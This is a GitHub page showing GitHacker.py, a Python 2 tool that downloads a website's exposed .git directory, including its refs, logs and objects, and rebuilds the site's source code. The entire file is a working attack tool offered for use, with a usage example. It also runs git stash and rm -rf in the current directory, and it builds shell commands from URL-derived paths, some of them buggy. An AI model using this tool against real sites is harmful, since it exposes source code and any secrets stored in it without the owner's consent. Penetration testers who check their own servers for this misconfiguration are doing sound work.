forked from WangYihang/GitHacker
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathGitHacker.py
188 lines (152 loc) · 5.12 KB
/
GitHacker.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
#!/usr/bin/env python
# encoding:utf-8
import os
import threading
import requests
import string
import random
import sys
import re
log = []
threadNumber = 50
def random_string(length):
return "".join([random.choice(string.letters) for i in range(length)])
def dirlist(path, allfile):
filelist = os.listdir(path)
for filename in filelist:
filepath = os.path.join(path, filename)
if os.path.isdir(filepath):
dirlist(filepath, allfile)
else:
allfile.append(filepath)
return allfile
def downloadFile(url, path):
if url in log:
print "[-] Downloaded!"
else:
log.append(url)
index = path[::-1].find("/")
folder = path[0:-index]
try:
print "[+] Make dir : %s" % (folder)
os.makedirs(folder)
except:
print "[-] Folder already existed!"
print "[!] Getting -> %s" % (url)
response = requests.get(url)
if response.status_code == 200:
with open(path, "wb") as f:
f.write(response.content)
print "[+] Success!"
else:
print "[-] [%d]" % (response.status_code)
class myThread (threading.Thread):
def __init__(self, imgSrc, directoryName):
threading.Thread.__init__(self)
self.imgSrc = imgSrc
self.directoryName = directoryName
def run(self):
downloadFile(self.imgSrc, self.directoryName)
def get_sha1(content):
result = re.findall(r"([a-fA-F0-9]{40})", content)
return result
def fixmissing(baseurl, temppath):
# get missing files
os.system("cd ./%s ; git fsck > ../cache.dat 2>&1" % temppath)
missing = []
with open("./cache.dat", "r") as f:
missing += get_sha1(f.read())
length = len(missing)
# clean cache file
os.system("rm ./cache.dat")
threads = []
# download missing files
for i in missing:
path = "./%s/.git/objects/%s/%s" % (temppath, i[0:2], i[2:])
url = "%sobjects/%s/%s" % (baseurl, i[0:2], i[2:])
# downloadFile(url, path)
tt = myThread(url, path)
threads.append(tt)
for t in threads:
t.start()
while True:
if(len(threading.enumerate()) < threadNumber):
break
if length > 1:
fixmissing(baseurl, temppath)
else:
return
def complete_url(baseurl):
if (not baseurl.startswith("http://")) and (not baseurl.startswith("https://")):
baseurl = "http://" + baseurl
if baseurl.endswith("/"):
return baseurl
else:
return baseurl + "/"
def get_prefix(baseurl):
prefix = ""
if baseurl.startswith("http://"):
prefix = baseurl[len("http://"):-len(".git/")]
if baseurl.startswith("https://"):
prefix = baseurl[(len("https://")):(-len(".git/"))]
return prefix
def repalce_bad_chars(path):
path = path.replace("/", "_")
path = path.replace("\\", "_")
path = path.replace(".", "_")
path = path.replace("'", "_")
path = path.replace("\"", "_")
return path
def handle_git_stash():
filename = random_string(0x20)
os.system("touch %s" % filename)
os.system("git add %s" % filename)
os.system("git stash")
os.system("rm -rf %s" % filename)
def main():
if len(sys.argv) != 2:
print "Usage : "
print " python GitHacker.py [Website]"
print "Example : "
print " python Githack.py http://127.0.0.1/.git/"
print "Author : "
print " wangyihang <[email protected]>"
exit(1)
# Handle git stash
handle_git_stash()
files = dirlist("./", [])
baseurl = sys.argv[1]
baseurl = complete_url(baseurl)
temppath = repalce_bad_chars(get_prefix(baseurl))
# download base files
for i in files:
if i.startswith("./.git"):
if i[len("./.git/"):len("./.git/objects")] == "objects":
continue
path = "./%s/%s" % (temppath, i[len("./"):])
url = baseurl + i[len("./.git/"):]
downloadFile(url, path)
# download baseobject files
master = open("./%s/.git/logs/refs/heads/master" % temppath, "r")
print "[!] Downloading object files"
for line in master:
prehash = line.split(" ")[0]
nexthash = line.split(" ")[1]
path = "./%s/.git/objects/%s/%s" % (temppath,
nexthash[0:2], nexthash[2:])
url = "%sobjects/%s/%s" % (
baseurl, nexthash[0:2], nexthash[2:])
try:
os.makedirs("./%s/%s", (temppath, path))
except Exception as e:
print "[-] %s" % (e)
print (url, path)
downloadFile(url, path)
print "[+] Start fixing missing files..."
# download missing files
fixmissing(baseurl, temppath)
# git reset to the last commit
os.system("cd ./%s; git reset --hard;" % temppath)
print "[+] All file downloaded! Please enter the dir and type `git reflog` to show all log info!"
if __name__ == "__main__":
main()